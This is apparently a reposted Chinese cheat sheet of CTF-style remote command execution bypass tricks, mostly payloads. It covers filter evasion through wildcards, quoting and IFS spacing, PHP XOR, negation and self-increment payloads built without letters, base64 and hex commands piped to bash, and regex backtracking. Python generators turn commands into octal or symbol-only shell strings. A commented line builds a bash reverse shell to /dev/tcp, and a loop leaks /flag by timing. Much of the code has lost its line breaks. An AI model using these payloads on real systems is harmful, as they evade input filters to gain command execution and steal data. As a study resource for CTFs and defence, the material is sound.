当前位置: 首页 > news >正文

RCE_绕过综合

<aside> 💡

管道符

</aside>

<aside> 💡

通配符绕过

</aside>

	**匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个)? 匹配任何一个字符(不在括号内时)?代表任意1个字符[abcd] 匹配abcd中任何一个字符[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符**

<aside> 💡

空格过滤

</aside>

**<
<>
%20(即space)
%09(即tab)
$IFS$9
${IFS}
$IFS
{cat,/flag}**

<aside> 💡

反斜杠\绕过

</aside>

**//如cat、ls被过滤,使用\\绕过
c\\at /flag
l\\s /**

<aside> 💡

取反绕过

</aside>

**//取反传参
<?php$a = "system";
$b = "cat /flag";$c = urlencode(~$a);
$d = urlencode(~$b);//输出得到取反传参内容
echo "?cmd=(~".$c.")(~".$d.");"
?>**

<aside> 💡

异或绕过

</aside>

**# 异或构造Python脚本
valid = "1234567890!@$%^*(){}[];\\'\\",.<>/?-=_`~ "answer = input('输入异或构造的字符串:')tmp1, tmp2 = '', ''
for c in answer:for i in valid:for j in valid:if ord(i) ^ ord(j) == ord(c):tmp1 += itmp2 += jbreakelse:continuebreakprint(f'"{tmp1}"^"{tmp2}"')**
**//异或php脚本<?php
$a='phpinfo';
for ($i = 0;$i <strlen($a);$i++)echo '%'.dechex(ord($a[$i])^0xff);
echo "^";
for ($j=0;$j<strlen($a);$j++)echo '%ff';
?>//输出:%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff**
**//简单例题,flag再phpinfo()中,需要执行php命令:phpinfo();<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){die("invalid input!");
}
eval($mess);//构造payload,字符串phpinfo异或结果为"0302181"^"@[@[_^^"mess=$_="0302181"^"@[@[_^^";$_();**

<aside> 💡

自增绕过

</aside>

**//自增payload,assert($_POST[_]),命令传入_****$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);&_=phpinfo();**

<aside> 💡

黑名单绕过

</aside>

**//变量拼接,如flag被过滤
将:
cat /flag
替换为:
b=ag;cat /fl$b//读取根目录
eval(var_dump(scandir('/'););
//读flag
eval(var_dump(file_get_contents($_POST['a'])););&a=/flag//等效于打开ls目录下的文件
cat `ls`//_被过滤,php8以下,变量名中的第一个非法字符[会被替换为下划线_
N[S.S等效于N_S.S
php需要接收e_v.a.l参数,给e[v.a.l传参即可//php标签绕过
?><?= phpinfo(); ?>**

<aside> 💡

base和hex编码绕过

</aside>

**//base64编码绕过,编码cat /flag,反引号、| bash、$()用于执行系统命令
`echo Y2F0IC9mbGFn | base64 -d`
echo Y2F0IC9mbGFn | base64 -d | bash
$(echo Y2F0IC9mbGFn | base64 -d)//hex编码绕过,编码cat /flag,| bash用于执行系统命令
echo '636174202f666c6167' | xxd -r -p | bash//shellcode编码
//十六进制编码**

<aside> 💡

正则匹配绕过

</aside>

**//如flag被过滤
cat /f???
cat /fl*
cat /f[a-z]{3}**

<aside> 💡

引号绕过

</aside>

**//如cat、ls被过滤
ca""t /flag
l's' /**

<aside> 💡

cat替换命令

</aside>

**tac	   与cat相反,按行反向输出
more	 按页显示,用于文件内容较多且不能滚动屏幕时查看文件
less	 与more类似
tail	 查看文件末几行
head	 查看文件首几行
nl	   在cat查看文件的基础上显示行号
od	   以二进制方式读文件,od -A d -c /flag转人可读字符
xxd	   以二进制方式读文件,同时有可读字符显示
sort	 排序文件
uniq	 报告或删除文件的重复行
file -f	报错文件内容
grep	 过滤查找字符串,grep flag /flag**

<aside> 💡

回溯绕过

</aside>

**//php正则的回溯次数大于1000000次时返回False
$a = 'hello world'+'h'*1000000
preg_match("/hello.*world/is",$a) == False**

<aside> 💡

无回显RCE

</aside>

**//无回显RCE,如exce()函数,可将执行结果输出到文件再访问文件执行以下命令后访问1.txt即可
ls / | tee 1.txt
cat /flag | tee 2.txt
//eval()无输出
eval(print`c\\at /flag`;)**

<aside> 💡

无参数RCE

</aside>

**利用getallheaders()、get_defined_vars()、session_id等;**

<aside> 💡

无字母数字RCE

</aside>

**异或、取反、自增、临时文件上传;**

<aside> 💡

禁用 ?

</aside>

**八进制(不能解析带有参数的命令)  ls -> $'\\154\\163'**

<aside> 💡

禁用 ? 2-9

</aside>

**cmd = 'ls -al'payload = '$0<<<$0\\\\<\\\\<\\\\<\\\\$\\\\\\''
for c in cmd:payload += f'\\\\\\\\$(($((1<<1))#{bin(int(oct(ord(c))[2:]))[2:]}))'**

<aside> 💡

仅含 <$!{}()_&

</aside>

**cmd = 'ls -al'r = {}x = '$((~$(())))'#-1for i in range(1,9):r[i] = '$((~$(('+xfor j in range(i):r[i] += xr[i] += '))))'r[0] = '$(())'payload = '__=$(())&&${!__}<<<${!__}\\\\<\\\\<\\\\<\\\\$\\\\\\''
for c in cmd:payload += '\\\\\\\\'for i in oct(ord(c))[2:]:payload += r[int(i)]payload += '\\\\\\''
print(payload)**

<aside> 💡

仅含<$ {}\#()'0

</aside>

重定向+八进制+数字构造

**import requests
n = dict()
n[0] = '0'
n[1] = '${##}'     #${##}计算#这个字符的长度为1,这里如果没有屏蔽!的话还可以用$((!$#))
n[2] = '$((${##}<<${##}))'   #通过位运算得到2
n[3] = '$(($((${##}<<${##}))#${##}${##}))'     #通过二进制11转换为十进制得到3,4,5,6,7
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}0${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}0))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'f=''def str_to_oct(cmd):                                #命令转换成八进制字符串s = ""for t in cmd:o = ('%s' % (oct(ord(t))))[2:]s+='\\\\'+o   return sdef build(cmd):                                     #八进制字符串转换成字符payload = "$0<<<$0\\<\\<\\<\\$\\\\\\'"s = str_to_oct(cmd).split('\\\\')for _ in s[1:]:payload+="\\\\\\\\"for i in _:payload+=n[int(i)]return payload+'\\\\\\''def get_flag(url,payload):                          #盲注函数try:data = {'cmd':payload}r = requests.post(url,data,timeout=1.5)except:return Truereturn False#弹shell
#print(build('bash -i >& /dev/tcp/your-ip/2333 0>&1'))#盲注
#a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@'
# for i in range(1,50):
#     for j in a:
#         cmd=f'cat /flag|grep ^{f+j}&&sleep 3'
#         url = "<http://ip/>"
#         if get_flag(url,build(cmd)):
#             break
#     f = f+j
#     print(f)**

http://www.lryc.cn/news/453481.html

相关文章:

  • 关于Generator,async 和 await的介绍
  • Redis数据库与GO(二):list,set
  • c++知识点总结
  • 无IDEA不Java:快速掌握Java集成开发环境
  • 9.30学习记录(补)
  • 移动应用中提升用户体验的因素
  • VS与VSCode的区别
  • 用Python和OpenCV实现人脸识别:构建智能识别系统
  • 微积分-反函数6.5(指数增长和衰减)
  • C初阶(十二)do - while循环 --- 致敬革命烈士
  • 从零开始:SpringBoot实现古典舞在线交流平台
  • AL生成文章标题指定路径保存:创新工具助力内容创作高效启航
  • java基础知识汇总
  • 2.点位管理|前后端如何交互——帝可得后台管理系统
  • Redis基础二(spring整合redis)
  • JAVA开源项目 教学资源库系统 计算机毕业设计
  • 二分查找算法专题(2)
  • [Python] 编程入门:理解变量类型
  • C(九)while循环 --- 军训匕首操情景
  • C#秒如何转为时分秒格式
  • 重学SpringBoot3-集成Redis(三)
  • 【Spine】引入PhotoshopToSpine脚本
  • 【Linux】详解Linux下的工具(内含yum指令和vim指令)
  • MacBook 使用 brew 安装 MySQL
  • java中有两个list列表,尽量少的去循环
  • Java中的状态机实现:使用Spring State Machine管理复杂状态流转
  • [Notes] Computer Network - Overwiew
  • MyBatisPlus——学习笔记
  • 运维自动化shell脚本总结
  • 前端学习第三天笔记 JavaScript JavaScript的引入 数据类型 运算符 条件语句 字符串